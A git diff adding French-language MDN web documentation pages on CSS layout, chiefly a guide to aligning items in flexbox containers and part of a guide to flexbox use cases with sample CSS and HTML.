+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">La disposition en flux et les dépassements</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">La disposition en flux et les modes d'écriture</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Explications sur les contextes de formatage</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">Être ou non dans le flux</a></li>
+</ul>
+
+<h3 id="Les_boîtes_flexibles_(display_flex)">Les boîtes flexibles (<code>display: flex</code>)</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox">Concepts de base des boîtes flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal">Contrôler les proportions des objets flexibles le long de l'axe principal</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins"><em>Mixins</em> Flexbox pour les différents navigateurs</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Maîtriser_passage_à_la_ligne_des_éléments_flexibles">Maîtriser le passage à la ligne des objets flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordonner_éléments_flexibles">Ordonner les objets flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Liens_entre_flexbox_et_les_autres_dispositions">Les relations entre les boîtes flexibles et les autres méthodes de disposition</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Rétrocompatibilite_de_flexbox">La rétrocompatiblité des boîtes flexibles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Cas_utilisation_flexbox">Les cas d'usage type pour les boîtes flexibles</a></li>
+</ul>
+
+<h3 id="Les_grilles_CSS_(display_grid)">Les grilles CSS (<code>display: grid</code>)</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">Concepts de base des grilles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition">Les relations entre les grilles et les autres méthodes de disposition</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">Le placement sur les lignes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille">Les modèles de zone de grilles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille">Les dispositions utilisant les lignes nommées</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS">Le placement automatique dans les grilles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">L'alignement des boîtes dans les grilles</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture">Les grilles, les valeurs logiques et les modes d'écriture</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité">Les grilles et l'accessibilité</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive">Les grilles et l'amélioration progressive</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS">Réaliser des dispositions courantes à l'aide de grilles</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
+   <td>{{Spec2('CSS3 Display')}}</td>
+   <td>Ajout des valeurs <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code> et de la syntaxe avec plusieurs mots-clés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout des valeurs pour les tableaux et ajout de <code>inline-block</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#display', 'display')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Spécification initiale. Valeurs de base : <code>none</code>, <code>block</code>, <code>inline</code> et <code>list-item</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En plus du module de spécification <em>CSS Display</em> de niveau 3, d'autres modules de spécifications définissent le comportement à avoir selon les différentes valeurs de <code>display</code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.display", 10)}}</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/aligner_des_éléments_dans_un_conteneur_flexible/index.html b/files/fr/web/css/css_flexible_box_layout/aligner_des_éléments_dans_un_conteneur_flexible/index.html
new file mode 100644
index 0000000000..2321587479
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/aligner_des_éléments_dans_un_conteneur_flexible/index.html
@@ -0,0 +1,218 @@
+---
+title: Aligner des éléments dans un conteneur flexible
+slug: >-
+  Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_éléments_dans_un_conteneur_flexible
+tags:
+  - CSS
+  - Flex
+  - Guide
+  - Web
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Une des raisons qui ont poussé à l'adoption des boîtes flexibles est la présence d'outils d'alignement enfin corrects pour le Web. On pouvait ainsi enfin centrer une boîte sur un axe vertical. Dans ce guide, nous verrons dans le détail comment fonctionnent les propriétés d'alignement et de justification relatives aux boîtes flexibles.</p>
+
+<p>Afin de centrer notre boîte, nous allons utiliser la propriété <code>align-items</code> afin d'aligner l'objet sur l'axe secondaire (<em>cross axis</em> en anglais). Dans notre exemple, cet axe est l'axe de bloc et est orienté verticalement. La propriété <code>justify-content</code> est quant à elle utilisée pour aligner l'objet sur l'axe principal (<em>main axis</em> en anglais) (ici l'axe principal est l'axe en ligne qui s'étend horizontalement).</p>
+
+<p><img alt="Un élément contenant une autre boîte centrée à l'intérieur" src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
+
+<p> </p>
+
+<p>Vous pouvez étudier le code de l'exemple suivant et modifier la taille du conteneur ou d'un élément imbriqué : l'élément imbriqué sera toujours centré.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="Les_propriétés_responsables_de_l'alignement">Les propriétés responsables de l'alignement</h2>
+
+<p>Voici les propriétés que nous étudierons dans ce guide :</p>
+
+<ul>
+ <li>{{cssxref("justify-content")}} — contrôle l'alignement de tous les objets sur l'axe principal.</li>
+ <li>{{cssxref("align-items")}} — contrôle l'alignement de tous les objets sur l'axe secondaire.</li>
+ <li>{{cssxref("align-self")}} — contrôle l'alignement d'un objet flexible donné le long de l'axe secondaire.</li>
+ <li>{{cssxref("align-content")}} — contrôle l'espace entre les lignes flexibles sur l'axe secondaire.</li>
+</ul>
+
+<p>Nous verrons également comment les marges automatiques peuvent être utilisées dans l'alignement des boîtes flexibles.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Les propriétés d'alignement du module de spécification CSS Flexbox ont été placés dans leur propre spécification : <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. Cette dernière remplacera à terme les propriétés définies dans le module Flexbox de niveau 1.</p>
+</div>
+
+<h2 id="L'axe_secondaire_(cross_axis)">L'axe secondaire (<em>cross axis</em>)</h2>
+
+<p>Les propriétés <code>align-items</code> et <code>align-self</code> permettent de gérer l'alignement des éléments flexibles sur l'axe secondaire.</p>
+
+<p>Prenons un exemple simple : nous ajoutons <code>display: flex</code> à un conteneur qui contient trois objets. Tous s'étirent afin d'être aussi grands que le plus grand des éléments car celui-ci définit la taille du conteneur sur l'axe secondaire. Si le conteneur flexible possède une hauteur définie, les objets qu'il contient s'étireront pour atteindre cette taille, quel que soit le contenu dont ils disposent.</p>
+
+<p><img alt="Trois objets dont un avec un texte plus long qui le rend plus grand que les autres" src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
+
+<p><img alt="Trois objets étirés pour mesurer 200 pixels de haut" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
+
+<p>Les éléments obtiennent la même hauteur à cause de la valeur initiale de <code>align-items</code> qui contrôle l'alignement sur l'axe secondaire. Cette valeur initiale est <code>stretch</code> (qui indique que les objets du conteneur doivent être étirés sur l'axe).</p>
+
+<p>Voici les valeurs disponibles pour aligner les objets :</p>
+
+<ul>
+ <li><code>align-items: flex-start</code></li>
+ <li><code>align-items: flex-end</code></li>
+ <li><code>align-items: center</code></li>
+ <li><code>align-items: stretch</code></li>
+ <li><code>align-items: baseline</code></li>
+</ul>
+
+<p>Dans l'exemple qui suit, la valeur d'<code>align-items</code> est <code>stretch</code>. Vous pouvez essayer les autres valeurs afin de voir comment les objets s'alignent dans le conteneur.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
+
+<h3 id="Aligner_un_objet_avec_align-self">Aligner un objet avec <code>align-self</code></h3>
+
+<p>La propriété <code>align-items</code> définit la valeur de la propriété <code>align-self</code> pour l'ensemble des objets flexibles. Cela signifie qu'on peut utiliser la propriété <code>align-self</code> de façon explicite, sur un élément donné, afin de préciser son alignement. La propriété <code>align-self</code> prend en charge les mêmes valeurs que <code>align-items</code> ainsi qu'un mot-clé <code>auto</code> qui reprendra la valeur définie sur le conteneur flexible.</p>
+
+<p>Dans le prochain exemple, le conteneur flexible a <code>align-items: flex-start</code>, ce qui signifie que les éléments sont tous alignés au début de l'axe secondaire. On utilise le sélecteur <code>first-child</code> afin de cibler le premier élément fils pour lequel on indique <code>align-self: stretch</code> ; un autre élément a été sélectionné via la classe <code>selected</code> et est paramétré avec <code>align-self: </code><code>center</code>. Vous pouvez modifier la valeur de <code>align-items</code> ou changer les valeurs d'<code>align-self</code> sur les éléments afin d'observer le fonctionnement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
+
+<h3 id="Changer_d'axe_principal">Changer d'axe principal</h3>
+
+<p>Jusqu'à présent, les exemples fonctionnaient avec <code>flex-direction</code> valant <code>row</code> et avec un langage dont les lignes progressent du haut vers le bas. Cela signifie que l'axe principal est une ligne horizontale et que l'axe secondaire est une ligne verticale dirigée vers le bas.</p>
+
+<p><img alt="Trois objets, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe vertical.." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
+
+<p>Si on passe <code>flex-direction</code> à <code>column</code>, <code>align-items</code> et <code>align-self</code> aligneront les éléments à gauche et à droite.</p>
+
+<p><img alt="Trois éléments, le premier aligné avec flex-start, le deuxième avec center et le troisième avec flex-end. Alignement sur l'axe horizontal." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
+
+<p>Vous pouvez manipuler cet exemple qui reprend le même code que l'exemple précédent avec la seule exception que <code>flex-direction</code> vaut ici <code>column</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}}</p>
+
+<h2 id="Aligner_le_contenu_sur_l'axe_secondaire_align-content">Aligner le contenu sur l'axe secondaire : <code>align-content</code></h2>
+
+<p>Jusqu'à présent, nous avons aligné les éléments ou un élément donné dans la zone définie par le conteneur flexible. Si on a un conteneur qui s'étend / se divise sur plusieurs lignes, on pourra utiliser la propriété <code>align-content</code> afin de contrôler la distribution de l'espace entre les lignes. La spécification décrit cela comme <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">le groupement des lignes flexibles</a>.</p>
+
+<p>Afin qu'<code>align-content</code> puisse fonctionner, il faut un conteneur dont la hauteur est supérieure à celle qui est nécessaire à l'affichage des éléments. Le moteur applique alors les règles sur l'ensemble des éléments et régit l'utilisation de l'espace restant et l'alignement de l'ensemble dans cet espace.</p>
+
+<p>La propriété <code>align-content</code> prend les valeurs suivantes :</p>
+
+<ul>
+ <li><code>align-content: flex-start</code></li>
+ <li><code>align-content: flex-end</code></li>
+ <li><code>align-content: center</code></li>
+ <li><code>align-content: space-between</code></li>
+ <li><code>align-content: space-around</code></li>
+ <li><code>align-content: stretch</code></li>
+ <li><code>align-content: space-evenly</code> (cette valeur n'est pas définie dans le module de spécification Flexbox)</li>
+</ul>
+
+<p>Dans l'exemple suivant, le conteneur flexible a une hauteur de 400 pixels, ce qui est supérieur à ce qui est nécessaire pour afficher le contenu. <code>align-content</code> vaut <code>space-between</code> ce qui signifie que l'espace disponible sera réparti <em>entre</em> les lignes flexibles dont la première commence en étant adjacente à la ligne de début et dont la dernière est adjacente à la ligne de fin de l'axe secondaire.</p>
+
+<p>Vous pouvez modifier la valeur de <code>align-content</code> afin d'observer comment cette propriété fonctionne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
+
+<p>Là encore, on peut passer avec <code>flex-direction: column</code> afin de voir comment les propriétés se comportent sur les colonnes. Là aussi, il faut suffisamment d'espace le long de l'axe secondaire afin qu'il y ait de l'espace libre à répartir.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
+
+<div class="note">
+<p><strong>Note</strong> : La valeur <code>space-evenly</code> n'est pas définie dans la spécification relative aux boîtes flexibles et a été dernièrement ajoutée à la spécification sur l'alignement des boîtes. Cette valeur est donc moins prise en charge par les navigateurs que les autres mots-clés.</p>
+</div>
+
+<p>Vous pouvez consulter la documentation sur {{cssxref("align-content")}} pour en savoir plus, notamment sur la compatibilité des navigateurs.</p>
+
+<h2 id="Aligner_le_contenu_sur_l'axe_principal">Aligner le contenu sur l'axe principal</h2>
+
+<p>Nous avons pu voir comment fonctionne l'alignement sur l'axe secondaire. Concentrons-nous désormais sur l'alignement relatif à l'axe principal. Ici, une seule propriété est disponible : <code>justify-content</code>. En effet, sur cet axe, les éléments sont gérés comme un seul groupe. Avec, <code>justify-content</code> on contrôle comment l'espace disponible est réparti s'il y a plus d'espace que nécessaire pour afficher les objets.</p>
+
+<p>Dans l'exemple initial avec <code>display: flex</code> appliqué au conteneur, les éléments formaient une ligne qui commençait au début du conteneur. Cela provient de la valeur initiale de <code>justify-content</code> qui est <code>flex-start</code>. Avec cette valeur, tout l'espace disponible est placé à la fin, après les éléments.</p>
+
+<p><img alt="Trois éléments, chacun mesurant 100 pixels de large dans un conteneur de 500 pixels de large. L'espace disponible restant se situe après les éléments." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>La propriété <code>justify-content</code> prend en charge les mêmes valeurs que <code>align-content</code>.</p>
+
+<ul>
+ <li><code>justify-content: flex-start</code></li>
+ <li><code>justify-content: flex-end</code></li>
+ <li><code>justify-content: center</code></li>
+ <li><code>justify-content: space-between</code></li>
+ <li><code>justify-content: space-around</code></li>
+ <li><code>justify-content: stretch</code></li>
+ <li><code>justify-content: space-evenly</code> (ce mot-clé n'est pas défini dans la spécification CSS sur les boîtes flexibles)</li>
+</ul>
+
+<p>Dans le prochain exemple, <code>justify-content</code> vaut <code>space-between</code>. L'espace disponible après l'affichage des éléments est alors distribué entre les éléments et le premier élément est adjacent à la ligne de début et le dernier est adjacent à la ligne de fin.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} </p>
+
+<p>Si l'axe principal suit la direction de bloc (orthogonale au sens d'écriture) car <code>flex-direction</code> est paramétré avec la valeur <code>column</code>, <code>justify-content</code> distribuera l'espace selon cet axe tant que l'espace du conteneur flexible est suffisant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}}</p>
+
+<h3 id="L'alignement_et_les_modes_d'écriture">L'alignement et les modes d'écriture</h3>
+
+<p>Rappelons ici qu'avec ces méthodes d'alignement, <code>flex-start</code> et <code>flex-end</code> respectent le mode d'écriture utilisé. Si on utilise <code>justify-content</code> avec la valeur <code>start</code> pour un contenu écrit en anglais (un mode d'écriture de la gauche vers la droite), les éléments commenceront à gauche du conteneur.</p>
+
+<p><img alt="Trois éléments alignés sur la gauche" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Mais si le contenu est écrit en arabe (un mode d'écriture de la droite vers la gauche), les éléments démarreront à la droite du conteneur.</p>
+
+<p><img alt="Trois éléments alignés sur la droite" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>Dans l'exemple qui suit, on indique explicitement la valeur <code>rtl</code> pour la propriété <code>display</code> afin de forcer un mode d'écriture de droite à gauche. Vous pouvez retirer cette déclaration ou modifier la valeur de <code>justify-content</code> afin de voir comment les boîtes flexibles s'organisent lorsque le début de la ligne est à droite.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
+
+<h2 id="L'alignement_et_la_propriété_flex-direction">L'alignement et la propriété <code>flex-direction</code></h2>
+
+<p>La ligne de début sera également modifiée si on change la valeur de la propriété <code>flex-direction</code>, par exemple en utilisant <code>row-reverse</code> à la place de <code>row</code>.</p>
+
+<p>Dans le prochain exemple, on utilise <code>flex-direction: row-reverse</code> et <code>justify-content: flex-end</code>. Pour une langue écrite de gauche à droite, les éléments seront regroupés à gauche. Si vous modifiez les valeurs et passez de <code>flex-direction: row-reverse</code> à <code>flex-direction: row</code>. Vous verrez que les éléments sont désormais groupés à droite.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
+
+<p>Si cela peut paraître déroutant, la règle principale à mémoriser est que, par défaut, si on ne change rien, les éléments flexibles sont organisés dans la direction naturelle de la langue dans laquelle le document est écrit. <code>flex-start</code> correspondra donc à la ligne de début depuis laquelle une phrase démarrerait.</p>
+
+<p><img alt="Un diagramme illustrant la ligne de début à gauche et la ligne de fin à droite" src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>On peut changer l'axe avec <code>flex-direction: column</code>. Dans ce cas, <code>flex-start</code> correspondra à l'emplacement du début du premier paragraphe d'un texte.</p>
+
+<p><img alt="Un diagramme illustrant la ligne de début en haut et la ligne de fin en bas" src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>Si on utilise <code>flex-direction</code> avec une des valeurs inversée, les éléments seront organisés dans l'ordre inverse (à l'opposé de la disposition naturelle de la langue utilisée pour le document). <code>flex-start</code> correspondra alors à la « fin » usuelle d'une ligne de texte sur une disposition en ligne et au dernier paragraphe sur une disposition organisée sur un axe principal vertical.</p>
+
+<p><img alt="Un diagramme illustrant la ligne de début à droite et celle de fin à gauche" src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Un diagramme illustrant la ligne de début en bas et celle de fin en haut" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<h2 id="Utiliser_les_marges_automatiques_pour_aligner_sur_l'axe_principal">Utiliser les marges automatiques pour aligner sur l'axe principal</h2>
+
+<p>Il n'existe pas de propriété <code>justify-items</code> ou <code>justify-self</code> qui permettent d'aligner un élément donné parmi le groupe d'éléments flexibles organisés sur l'axe principal. Toutefois, on peut obtenir un alignement individuel pour séparer un élément ou un groupe d'éléments grâce aux marges automatiques et aux boîtes flexibles.</p>
+
+<p>Un motif fréquent est l'organisation d'une barre de navigation où certains éléments clés sont situés à droite alors qu'un groupe principal est présent à gauche. On pourrait alors penser qu'il s'agit d'un cas d'utilisation pour une propriété comme <code>justify-self</code>… Cependant, si on regarde l'image qui suit et qu'on était capable de modifier <code>justify-self</code> sur l'élément <em>d</em>, cela changerait également l'alignement de l'élément <em>e</em> qui suit, ce qui pourrait ou non être voulu.</p>
+
+<p><img alt="Cinq objets répartis en deux groupes. Trois sont situés à gauche et deux sont situés à droite." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
+
+<p>Plutôt que cela, on peut cibler le quatrième élément et le séparer des trois premiers en utilisant <code>margin-left: auto</code>. Une marge automatique consommera tout l'espace disponible sur l'axe correspondant.</p>
+
+<p>Dans l'exemple qui suit, on a plusieurs éléments flexibles organisés sur une ligne avec les valeurs de base pour les propriétés liées aux boîtes flexibles. La classe <code>push</code> possède la déclaration <code>margin-left: auto</code>. Vous pouvez observer l'effet obtenu en retirant cette classe ou en l'appliquant à un autre élément.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
+
+<h2 id="Les_prochaines_fonctionnalités_pour_l'alignement_et_les_boîtes_flexibles">Les prochaines fonctionnalités pour l'alignement et les boîtes flexibles</h2>
+
+<p>Au début de cet article, nous avons vu que les propriétés d'alignement actuellement définies dans le module de spécification CSS de niveau 1 pour les boîtes flexibles étaient également définies dans le module de spécification de niveau 3 pour l'alignement des boîtes. Ce module pourrait voir l'apparition de nouvelles valeurs pour ces propriétés comme le montre d'ailleurs l'introduction de la valeur <code>space-evenly</code> pour les propriétés <code>align-content</code> et <code>justify-content</code>.</p>
+
+<p>Le module de spécification sur l'alignement des boîtes inclut également d'autres méthodes pour créer des espaces entre les objets telles que les propriétés <code>column-gap</code> et <code>row-gap</code> décrites dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">le module de grille CSS (<em>CSS Grid</em>)</a>. L'inclusion de ces propriétés dans le module d'alignement des boîtes signifie que nous pourrons plus tard les utiliser dans les dispositions avec les boîtes flexibles. Cela signifie qu'il ne sera plus nécessaire d'utiliser des marges afin d'espacer des éléments flexibles. Firefox 63 devrait implémenter les propriétés <code>gap</code> pour les dispositions flexibles.</p>
+
+<p>Lorsque vous explorez les différentes méthodes d'alignement relatives aux boîtes flexibles, n'hésitez pas à étudier ce qui est disponible avec une disposition en grille (<em>CSS Grid Layout</em>). En effet, ces deux spécifications utilisent les propriétés d'alignement qui sont désormais détaillées dans la spécification sur l'alignement des boîtes. Vous pouvez en savoir plus sur le fonctionnement de ces propriétés sur une grille <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">grâce à cet article</a>. Une page récapitulative (en anglais) est également disponible pour comparer le fonctionnement de l'alignement par rapport à ces différentes spécifications : <em><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a></em>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module<em>CSS Box Alignment</em></a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_Flexbox">L'alignement des boîtes avec Flexbox</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment/Alignement_boîtes_disposition_grille">L'alignement des boîtes avec une grille CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/css_flexible_box_layout/boîtes_flexibles_pour_applications_web/index.html b/files/fr/web/css/css_flexible_box_layout/boîtes_flexibles_pour_applications_web/index.html
new file mode 100644
index 0000000000..f6baae1432
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/boîtes_flexibles_pour_applications_web/index.html
@@ -0,0 +1,187 @@
+---
+title: Utiliser les boîtes flexibles pour les applications web
+slug: Web/CSS/CSS_Flexible_Box_Layout/Boîtes_flexibles_pour_applications_web
+tags:
+  - Avancé
+  - CSS
+  - Guide
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p>Les boîtes flexibles permettent de concevoir des dispositions qui s'appliquent mieux à des environnements mobiles et de bureau et qui peuvent servir aux applications web. Fini d'utiliser des éléments {{HTMLElement("div")}} flottants, <a href="/fr/docs/Web/CSS/position#Positionnement_absolu">le positionnement absolu</a> et des bidouilles JavaScript. Quelques lignes CSS permettent de construire des dispositions verticales et horizontales, flexibles. Voici quelques exemples de cas d'utilisation :</p>
+
+<ul>
+ <li>Centrer un élément au milieu d'une page</li>
+ <li>Définir des conteneurs qui s'organisent verticalement, l'un après l'autre</li>
+ <li>Créer une ligne de boutons ou d'autres éléments qui se condensent verticalement sur les écrans de petite taille.</li>
+</ul>
+
+<p>Cet article ne couvre que l'utilisation des propriétés relatives aux boîtes flexibles non préfixées et standard. Pour plus d'informations sur les préfixes et les anciens navigateurs, se référer <a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">au guide plus générique sur la manipulation des boîtes flexibles en CSS</a>.</p>
+
+<h2 id="Les_bases">Les bases</h2>
+
+<p>Pour qu'un élément flotte dans une boîte flexible, on peut utiliser la propriété {{cssxref("display")}} avec la valeur <code>flex</code> puis définir {{cssxref("flex-flow")}} avec la valeur <code>row</code> (si on souhaite que les éléments s'organisent horizontalement) ou avec la valeur <code>column</code> (si on souhaite que les éléments s'empilent verticalement). Si on veut avoir une boîte flexible horizontale et que les éléments « passent à la ligne » verticalement, on pourra définir la propriété <code>wrap</code>.</p>
+
+<p>Ensuite, pour chaque élément qui s'inscrit dans le conteneur flexible, on pourra définir la propriété {{cssxref("flex")}}. Généralement, on utilisera les valeurs suivantes :</p>
+
+<ul>
+ <li>Si on veut qu'un élément n'occupe que la place qui lui est allouée (ex. un bouton), on pourra utiliser <code>flex: none</code> that expands to <code>0 0 auto</code>.</li>
+ <li>Si on veut définir la taille explicite d'un élément, on pourra utiliser <code>flex: 0 0 <em>taille</em></code>. Par exemple : <code>flex 0 0 60px</code>.</li>
+ <li>Si on veut qu'un élément occupe tout l'espace disponible de façon équitable avec ses voisins, on pourra utiliser <code>flex: auto</code>. It expands to <code>1 1 auto</code>.</li>
+</ul>
+
+<p>Il existe bien entendu d'autres possibilités en dehors de cas d'usage simples. Voici quelques exemples d'application.</p>
+
+<h2 id="Centrer_un_élément">Centrer un élément</h2>
+
+<p>Pour ce cas, le plus simple consiste à créer deux boîtes flexibles, l'une dans l'autre. Chaque boîte flexible aura trois élément, deux autour de l'élément centré ainsi que l'élément en question.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.horizontal-box {
+  display: flex;
+  flex-flow: row;
+}
+.spacer {
+  flex: auto;
+  background-color: black;
+}
+.centered-element {
+  flex: none;
+  background-color: white;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;div class="vertical-box"&gt;
+  &lt;div class="spacer"&gt;&lt;/div&gt;
+  &lt;div class="centered-element horizontal-box"&gt;
+    &lt;div class="spacer"&gt;&lt;/div&gt;
+    &lt;div class="centered-element"&gt;Centered content&lt;/div&gt;
+     &lt;div class="spacer"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="spacer"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Resultat">Resultat</h3>
+
+<p>{{EmbedLiveSample('Centrer_un_élément', 500, 500)}}</p>
+
+<h2 id="Répartir_des_conteneurs_verticalement">Répartir des conteneurs verticalement</h2>
+
+<p>Prenons une page qui se compose d'un en-tête, d'une zone de contenu et d'un pied de page. On souhaite que l'en-tête et le pied de page aient la même taille mais que le contenu s'adapte selon l'espace disponible. Pour cela, on peut utiliser la propriété {{cssxref("flex")}} avec la valeur <code>auto</code> pour le contenu et la valeur <code>none</code> pour l'en-tête et le pied de page.</p>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css;">.vertical-box {
+  display: flex;
+  height: 400px;
+  width: 400px;
+  flex-flow: column;
+}
+.fixed-size {
+  flex: none;
+  height: 30px;
+  background-color: black;
+  text-align: center;
+}
+.flexible-size {
+  flex: auto;
+  background-color: white;
+}
+</pre>
+
